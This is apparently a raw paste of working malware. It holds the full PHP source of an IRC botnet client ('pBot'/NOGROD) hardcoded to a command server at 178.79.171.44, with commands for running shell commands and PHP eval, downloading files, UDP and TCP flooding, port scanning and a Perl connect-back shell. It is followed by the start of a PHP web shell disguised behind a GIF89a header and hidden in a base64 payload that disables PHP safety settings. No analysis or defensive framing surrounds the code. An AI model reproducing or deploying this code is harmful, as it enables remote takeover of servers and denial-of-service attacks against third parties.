var $config = array("server"=>"178.79.171.44", "port"=>"5863", "pass"=>"", "prefix"=>"XxX|", "maxrand"=>"5", "chan"=>"#resident.evil", "chan2"=>"#resident.evil", "key"=>"", "modes"=>"+p", "password"=>"ddos", "trigger"=>".", "hostauth"=>"*"
pbot source:
<? /* * * NOGROD. since 2008 * IRC.UDPLINK.NET * * COMMANDS: * * .user <password> //login to the bot * .logout //logout of the bot * .die //kill the bot * .restart //restart the bot * .mail <to> <from> <subject> <msg> //send an email * .dns <IP|HOST> //dns lookup * .download <URL> <filename> //download a file * .exec <cmd> // uses exec() //execute a command * .sexec <cmd> // uses shell_exec() //execute a command * .cmd <cmd> // uses popen() //execute a command * .info //get system information * .php <php code> // uses eval() //execute php code * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack * .raw <cmd> //raw IRC command * .rndnick //change nickname * .pscan <host> <port> //port scan * .safe // test safe_mode (dvl) * .inbox <to> // test inbox (dvl) * .conback <ip> <port> // conect back (dvl) * .uname // return shell's uname using a php function (dvl) * */ set_time_limit(0); error_reporting(0); echo "BlackPower!"; class pBot { var $config = array("server"=>"178.79.171.44", "port"=>"5863", "pass"=>"", "prefix"=>"XxX|", "maxrand"=>"5", "chan"=>"#resident.evil", "chan2"=>"#resident.evil", "key"=>"", "modes"=>"+p", "password"=>"ddos", "trigger"=>".", "hostauth"=>"*" // * for any hostname ( remember: /setvhost lAgi.seRius.sCan ) ); var $users = array(); function start() { if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = $this->config['prefix']; $alph = range("0","100"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,100)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname().""); $this->set_nick(); $this->main(); } function main() { while(!feof($this->conn)) { $this->buf = trim(fgets($this->conn,512)); $cmd = explode(" ",$this->buf); if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); } if(isset($cmd[1]) && $cmd[1] =="001") { $this->send("MODE ".$this->nick." ".$this->config['modes']); $this->join($this->config['chan'],$this->config['key']); if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan2'],"[2uname!2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan2'],"[2vuln!2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI'].""); } if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); } if($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf," :"),2); $msgcmd = explode(" ",$msg); $nick = explode("!",$cmd[0]); $vhost = explode("@",$nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0],1); $host = $cmd[0]; if($msgcmd[0]==$this->nick) { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1]; } else { for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i]; } if(count($cmd)>2) { switch($cmd[1]) { case "QUIT": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PART": if($this->is_logged_in($host)) { $this->log_out($host); } break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "user": if($mcmd[1]==$this->config['password']) { $this->log_in($host); } else { $this->notice($this->config['chan'],"[2Auth2]: Senha errada $nick idiota!!"); } break; } } } elseif($this->is_logged_in($host)) { if(substr($mcmd[0],0,1)==".") { switch(substr($mcmd[0],1)) { case "restart": $this->send("QUIT :restart commando from $nick"); fclose($this->conn); $this->start(); break; case "mail": //mail to from subject message if(count($mcmd)>4) { $header = "From: <".$mcmd[2].">"; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) { $this->privmsg($this->config['chan'],"[2mail2]: Impossivel mandar e-mail."); } else { $this->privmsg($this->config['chan'],"[2mail2]: Mensagem enviada para 2".$mcmd[1]."2"); } } break; case "safe": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $this->privmsg($this->config['chan'],"[2safe mode2]: ".$safemode.""); break; case "inbox": //teste inbox if(isset($mcmd[1])) { $token = md5(uniqid(rand(), true)); $header = "From: <inbox".$token."@xdevil.org>"; $a = php_uname(); $b = getenv("SERVER_SOFTWARE"); $c = gethostbyname($_SERVER["HTTP_HOST"]); if(!mail($mcmd[1],"InBox Test","#nogRod. since 2008nnip: $c nsoftware: $b nsystem: $a nvuln: http://".$_SERVER['SERVER_NAME']."nngreetz: irc.udplink.netnNOGROD OWNZ",$header)) { $this->privmsg($this->config['chan'],"[2inbox2]: Unable to send"); } else { $this->privmsg($this->config['chan'],"[2inbox2]: Message sent to 2".$mcmd[1]."2"); } } break; case "conback": if(count($mcmd)>2) { $this->conback($mcmd[1],$mcmd[2]); } break; case "dns": if(isset($mcmd[1])) { $ip = explode(".",$mcmd[1]); if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); } } break; case "info": case "vunl": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],"[2info2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan'],"[2vuln2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI'].""); break; case "bot": $this->privmsg($this->config['chan'],"[2bot2]: phpbot 2.0 by; NOGROD."); break; case "uname": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'],"[2info2]: $uname (safe: $safemode)"); break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg,$mcmd[1])); break; case "eval": $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); break; case "sexec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "exec": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = exec($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "passthru": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = passthru($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "popen": if(isset($mcmd[1])) { $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $this->privmsg($this->config['chan'],"[2popen2]: $command"); $pipe = popen($command,"r"); while(!feof($pipe)) { $pbuf = trim(fgets($pipe,512)); if($pbuf != NULL) $this->privmsg($this->config['chan']," : $pbuf"); } pclose($pipe); } case "system": $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = system($command); $ret = explode("n",$exec); for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i])); break; case "pscan": // .pscan 127.0.0.1 6667 if(count($mcmd) > 2) { if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2open2"); else $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2closed2"); } break; case "ud.server": // .ud.server <server> <port> [password] if(count($mcmd)>2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if(isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'],"[2update2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]); } else { $this->privmsg($this->config['chan'],"[2update2]: Server trocado para ".$mcmd[1].":".$mcmd[2]); } } break; case "download": if(count($mcmd) > 2) { if(!$fp = fopen($mcmd[2],"w")) { $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download. Permissao negada."); } else { if(!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download de 2".$mcmd[1]."2"); } else { for($i=0;$i<=count($get);$i++) { fwrite($fp,$get[$i]); } $this->privmsg($this->config['chan'],"[2download2]: Arquivo 2".$mcmd[1]."2 baixado para 2".$mcmd[2]."2"); } fclose($fp); } } else { $this->privmsg($this->config['chan'],"[2download2]: use .download http://your.host/file /tmp/file"); } break; case "die": $this->send("QUIT :die command from $nick"); fclose($this->conn); exit; case "logout": $this->log_out($host); $this->privmsg($this->config['chan'],"[2auth2]: $nick deslogado!"); break; case "udpflood": if(count($mcmd)>3) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]); } break; case "tcpflood": if(count($mcmd)>5) { $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); } break; } } } break; } } } $old_buf = $this->buf; } $this->start(); } function send($msg) { fwrite($this->conn,"$msgrn"); } function join($chan,$key=NULL) { $this->send("JOIN $chan $key"); } function privmsg($to,$msg) { $this->send("PRIVMSG $to :$msg"); } function notice($to,$msg) { $this->send("NOTICE $to :$msg"); } function is_logged_in($host) { if(isset($this->users[$host])) return 1; else return 0; } function log_in($host) { $this->users[$host] = true; } function log_out($host) { unset($this->users[$host]); } function set_nick() { if(isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick = "[A]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick = "[I]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick = "[X]"; else $this->nick = "[U]"; } else { $this->nick = "[C]"; } $this->nick .= $this->config['prefix']; for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); $this->send("NICK ".$this->nick); } function udpflood($host,$packetsize,$time) { $this->privmsg($this->config['chan'],"[2UdpFlood Started!2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } $timei = time(); $i = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); fwrite($fp,$packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config['chan'],"[2UdpFlood Finished!2]: $env MB enviados / Media: $vel MB/s "); } function tcpflood($host,$packets,$packetsize,$port,$delay) { $this->privmsg($this->config['chan'],"[2TcpFlood Started!2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) { if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) { $this->privmsg($this->config['chan'],"[2TcpFlood2]: Error: <$e>"); return 0; } else { fwrite($fp,$packet); fclose($fp); } sleep($delay); } $this->privmsg($this->config['chan'],"[2TcpFlood Finished!2]: Config - $packets pacotes para $host:$port."); } function conback($ip,$port) { $this->privmsg($this->config['chan'],"[2conback2]: tentando conectando a $ip:$port"); $dc_source = ""; if (is_writable("/tmp")) { if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); } $fp=fopen("/tmp/dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl /tmp/dc.pl $ip $port &"); unlink("/tmp/dc.pl"); } else { if (is_writable("/var/tmp")) { if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); } $fp=fopen("/var/tmp/dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl /var/tmp/dc.pl $ip $port &"); unlink("/var/tmp/dc.pl"); } if (is_writable(".")) { if (file_exists("dc.pl")) { unlink("dc.pl"); } $fp=fopen("dc.pl","w"); fwrite($fp,base64_decode($dc_source)); passthru("perl dc.pl $ip $port &"); unlink("dc.pl"); } } } } $bot = new pBot; $bot->start(); ?>
PHP SHELL:
GIF89a?????ÿÿÿ!ù????,???????D?;?<?php $language = 'eng'; $auth = 0; $name = ''; // md5 Login $pass = ''; // md5 Password /**************************************************************************************************************************************************************/ error_reporting(0); $r57="QGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCkBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7 DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9pbmNsdWRlX2RpciIpOw0KQGluaV9yZXN0b3JlKCJz YWZlX21vZGVfZXhlY19kaXIiKTsNCkBpbmlfcmVzdG9yZSgiZGlzYWJsZV9mdW5jdGlvbnMiKTsN CkBpbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVuIik7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxO VUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCjtlY2hvICcnOw0KaWYoKCFAZnVuY3Rp b25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8KEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSE9TlVMTCkg fHwoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpIT1OVUxMKSl7JG9wZW5fYmFzZWRp cj0xO31lbHNleyRvcGVuX2Jhc2VkaXI9MDt9Ow0KZGVmaW5lKCJzdGFydHRpbWUiLEBnZXRtaWNy b3RpbWUoKSk7DQpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAc2V0X3RpbWVfbGltaXQo MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdvdXRwdXRf YnVmZmVyaW5nJywwKTsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQokdmVy c2lvbiA9ICd1QmUnOw0KaWYoQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCc0LjEuMCcp ID09IC0xKQ0Kew0KJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KJF9HRVQgICAgPSAmJEhU VFBfR0VUX1ZBUlM7DQokX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiRfQ09PS0lFID0g JiRIVFRQX0NPT0tJRV9WQVJTOw0KfQ0KaWYgKEBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQ0Kew0K Zm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCnsNCiRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMo JHYpOw0KfQ0KZm9yZWFjaCAoJF9DT09LSUUgYXMgJGs9PiR2KQ0Kew0KJF9DT09LSUVbJGtdID0g c3RyaXBzbGFzaGVzKCR2KTsNCn0NCn0NCmlmKCRhdXRoID09IDEpIHsNCmlmICghaXNzZXQoJF9T RVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkgfHxtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkh PT0kbmFtZSB8fG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcGFzcykNCnsNCmhlYWRl cignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09Im51YmUiJyk7DQpoZWFkZXIoJ0hUVFAv MS4wIDQwMSBVbmF1dGhvcml6ZWQnKTsNCmV4aXQoIjxiPkFjY2VzcyBEZW5pZWQ8L2I+Iik7DQp9 DQp9DQokaGVhZCA9ICcNCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50 LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPg0KPHRpdGxl PlsgSGFjS2VkIEJ5IENvbmZpY2tlciBdPC90aXRsZT4NCg0KPFNUWUxFPg0KDQp0ciB7DQpCT1JE RVItUklHSFQ6ICBibGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICBibGFjayAxcHggc29s aWQ7DQpCT1JERVItTEVGVDogICBibGFjayAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiBibGFj ayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6IGJsYWNrOw0KY29sb3I6IHNpbHZlcjsNCn0NCnRk IHsNCkJPUkRFUi1SSUdIVDogIGJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIGJsYWNr IDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIGJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RU T006IGJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogYmxhY2s7DQpiYWNrZ3JvdW5kLWNv bG9yOmJsYWNrOw0KY29sb3I6IHdoaXRlOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDBweDsNCkJP UkRFUi1DT0xPUjogIzMzMzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IGJsYWNrOw0KY29sb3I6IHdo aXRlOw0KfQ0KLnRkMSB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmZv bnQ6IDdwdCBWZXJkYW5hOw0KQkFDS0dST1VORC1DT0xPUjogYmxhY2s7DQpjb2xvcjogZ3JlZW47 DQp9DQoudHIxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjMzMzMzMzOw0KY29sb3I6 ICM1MEFBMjA7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlIDFweCBvdXRzZXQ7DQpCT1JE RVItQ09MT1I6ICMzMzMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTMxMzEzOw0KY29sb3I6ICM1 MEFBMjA7DQp9DQppbnB1dCB7DQpib3JkZXIJCQk6IHNvbGlkIDFweDsNCmJvcmRlci1jb2xvcgkJ OiAjMkQyRDJEICMyNTI1MjUgIzI1MjUyNSAjMjUyNTI1Ow0KQkFDS0dST1VORC1DT0xPUjogYmxh Y2s7DQpmb250OiA4cHQgVmVyZGFuYTsNCmNvbG9yOiByZWQ7DQp9DQpzZWxlY3Qgew0KQk9SREVS LVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBz b2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTog I2ZmZmZmZiAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQpCQUNLR1JPVU5ELUNP TE9SOiAjMTMxMzEzOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogd2hpdGU7Ow0KfQ0Kc3Vi bWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQkFDS0dST1VORC1D T0xPUjogIzEzMTMxMzsNCndpZHRoOiAzMCU7DQpjb2xvcjogd2hpdGU7DQp9DQp0ZXh0YXJlYSB7 DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5 OTkgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxcHggc29saWQ7DQpCT1JERVIt Qk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCkJBQ0tH Uk9VTkQtQ09MT1I6IGJsYWNrOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiBzaWx2ZXI7 DQp9DQpCT0RZIHsNClNDUk9MTEJBUi1BUlJPVy1DT0xPUjogIzQ0NDQ0NDsNClNDUk9MTEJBUi1C QVNFLUNPTE9SOiAjNDQ0NDQ0Ow0KbWFyZ2luOiAxcHg7DQpjb2xvcjogIzUwQUEyMDsNCmJhY2tn cm91bmQtY29sb3I6ICMxMzEzMTM7DQp9DQoubWFpbiB7DQptYXJnaW4JCQk6IC0yODdweCAwcHgg MHB4IC00OTBweDsNCmJvcmRlcgkJCTogIzAwMDAwMCBzb2xpZCAxcHg7DQpCT1JERVItQ09MT1I6 ICMzMzMzMzM7DQp9DQoudHQgew0KYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7DQp9DQpBOmxpbmsg e0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTp2aXNpdGVkIHsgQ09MT1I6cmVk OyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09S QVRJT046IG5vbmV9DQpBOmhvdmVyIHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0N CjwvU1RZTEU+DQo8c2NyaXB0IGxhbmd1YWdlPVwnamF2YXNjcmlwdFwnPg0KZnVuY3Rpb24gaGlk ZV9kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5 ID0gXCdub25lXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOw0KfQ0KZnVuY3Rpb24g c2hvd19kaXYoaWQpDQp7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNw bGF5ID0gXCdibG9ja1wnOw0KICBkb2N1bWVudC5jb29raWU9aWQrXCc9MTtcJzsNCn0NCmZ1bmN0 aW9uIGNoYW5nZV9kaXZzdChpZCkNCnsNCiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlk KS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQ0KICAgIHNob3dfZGl2KGlkKTsNCiAgZWxzZQ0K ICAgIGhpZGVfZGl2KGlkKTsNCn0NCg0KDQo8L3NjcmlwdD4nOw0KY2xhc3MgemlwZmlsZQ0Kew0K dmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOw0KdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgp Ow0KdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAi Ow0KdmFyICRvbGRfb2Zmc2V0ICAgPSAwOw0KZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGlt ZSA9IDApIHsNCiR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID9nZXRkYXRlKCkgOiBnZXRk YXRlKCR1bml4dGltZSk7DQppZiAoJHRpbWVhcnJheVsneWVhciddIDwxOTgwKSB7DQokdGltZWFy cmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiR0aW1l YXJyYXlbJ21kYXknXSAgICA9IDE7DQokdGltZWFycmF5Wydob3VycyddICAgPSAwOw0KJHRpbWVh cnJheVsnbWludXRlcyddID0gMDsNCiR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7DQp9DQpyZXR1 cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLTE5ODApIDw8MjUpIHwoJHRpbWVhcnJheVsnbW9uJ10g PDwyMSkgfCgkdGltZWFycmF5WydtZGF5J10gPDwxNikgfA0KKCR0aW1lYXJyYXlbJ2hvdXJzJ10g PDwxMSkgfCgkdGltZWFycmF5WydtaW51dGVzJ10gPDw1KSB8KCR0aW1lYXJyYXlbJ3NlY29uZHMn XSA+PjEpOw0KfQ0KZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwkbmFtZSwkdGltZSA9IDApDQp7DQok bmFtZSAgICAgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkbmFtZSk7DQokZHRpbWUgICAgPSBkZWNo ZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOw0KJGhleGR0aW1lID0gJ1x4Jy4kZHRpbWVb Nl0gLiRkdGltZVs3XQ0KLidceCcuJGR0aW1lWzRdIC4kZHRpbWVbNV0NCi4nXHgnLiRkdGltZVsy XSAuJGR0aW1lWzNdDQouJ1x4Jy4kZHRpbWVbMF0gLiRkdGltZVsxXTsNCmV2YWwoJyRoZXhkdGlt ZSA9ICInLiRoZXhkdGltZSAuJyI7Jyk7DQokZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCiRm ciAgIC49ICJceDE0XHgwMCI7DQokZnIgICAuPSAiXHgwMFx4MDAiOw0KJGZyICAgLj0gIlx4MDhc eDAwIjsNCiRmciAgIC49ICRoZXhkdGltZTsNCiR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCiRj cmMgICAgID0gY3JjMzIoJGRhdGEpOw0KJHpkYXRhICAgPSBnemNvbXByZXNzKCRkYXRhKTsNCiR6 ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsMCxzdHJsZW4oJHpkYXRhKSAtNCksMik7DQok Y19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KJGZyICAgICAgLj0gcGFjaygnVicsJGNyYyk7DQok ZnIgICAgICAuPSBwYWNrKCdWJywkY19sZW4pOw0KJGZyICAgICAgLj0gcGFjaygnVicsJHVuY19s ZW4pOw0KJGZyICAgICAgLj0gcGFjaygndicsc3RybGVuKCRuYW1lKSk7DQokZnIgICAgICAuPSBw YWNrKCd2JywwKTsNCiRmciAgICAgIC49ICRuYW1lOw0KJGZyIC49ICR6ZGF0YTsNCiR0aGlzIC0+ ZGF0YXNlY1tdID0gJGZyOw0KJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KJGNkcmVjIC49 ICJceDAwXHgwMCI7DQokY2RyZWMgLj0gIlx4MTRceDAwIjsNCiRjZHJlYyAuPSAiXHgwMFx4MDAi Ow0KJGNkcmVjIC49ICJceDA4XHgwMCI7DQokY2RyZWMgLj0gJGhleGR0aW1lOw0KJGNkcmVjIC49 IHBhY2soJ1YnLCRjcmMpOw0KJGNkcmVjIC49IHBhY2soJ1YnLCRjX2xlbik7DQokY2RyZWMgLj0g cGFjaygnVicsJHVuY19sZW4pOw0KJGNkcmVjIC49IHBhY2soJ3YnLHN0cmxlbigkbmFtZSkgKTsN CiRjZHJlYyAuPSBwYWNrKCd2JywwICk7DQokY2RyZWMgLj0gcGFjaygndicsMCApOw0KJGNkcmVj IC49IHBhY2soJ3YnLDAgKTsNCiRjZHJlYyAuPSBwYWNrKCd2JywwICk7DQokY2RyZWMgLj0gcGFj aygnVicsMzIgKTsNCiRjZHJlYyAuPSBwYWNrKCdWJywkdGhpcyAtPm9sZF9vZmZzZXQgKTsNCiR0 aGlzIC0+b2xkX29mZnNldCArPSBzdHJsZW4oJGZyKTsNCiRjZHJlYyAuPSAkbmFtZTsNCiR0aGlz IC0+Y3RybF9kaXJbXSA9ICRjZHJlYzsNCn0NCmZ1bmN0aW9uIGZpbGUoKQ0Kew0KJGRhdGEgICAg PSBpbXBsb2RlKCcnLCR0aGlzIC0+ZGF0YXNlYyk7DQokY3RybGRpciA9IGltcGxvZGUoJycsJHRo aXMgLT5jdHJsX2Rpcik7DQpyZXR1cm4NCiRkYXRhIC4NCiRjdHJsZGlyIC4NCiR0aGlzIC0+ZW9m X2N0cmxfZGlyIC4NCnBhY2soJ3YnLHNpemVvZigkdGhpcyAtPmN0cmxfZGlyKSkgLg0KcGFjaygn dicsc2l6ZW9mKCR0aGlzIC0+Y3RybF9kaXIpKSAuDQpwYWNrKCdWJyxzdHJsZW4oJGN0cmxkaXIp KSAuDQpwYWNrKCdWJyxzdHJsZW4oJGRhdGEpKSAuDQoiXHgwMFx4MDAiOw0KfQ0KfQ0KZnVuY3Rp b24gY29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcykNCnsNCmdsb2JhbCAk Y29udGVudF9lbmNvZGluZzsNCmdsb2JhbCAkbWltZV90eXBlOw0KaWYgKCRjb21wcmVzcyA9PSAn YnppcCcmJkBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgDQp7DQokZmlsZW5hbWUgIC49 ICcuYnoyJzsNCiRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7DQokZmlsZWR1bXAg PSBiemNvbXByZXNzKCRmaWxlZHVtcCk7DQp9DQplbHNlIGlmICgkY29tcHJlc3MgPT0gJ2d6aXAn JiZAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSANCnsNCiRmaWxlbmFtZSAgLj0gJy5neic7 DQokY29udGVudF9lbmNvZGluZyA9ICd4LWd6aXAnOw0KJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlv bi94LWd6aXAnOw0KJGZpbGVkdW1wID0gZ3plbmNvZGUoJGZpbGVkdW1wKTsNCn0NCmVsc2UgaWYg KCRjb21wcmVzcyA9PSAnemlwJyYmQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSANCnsN 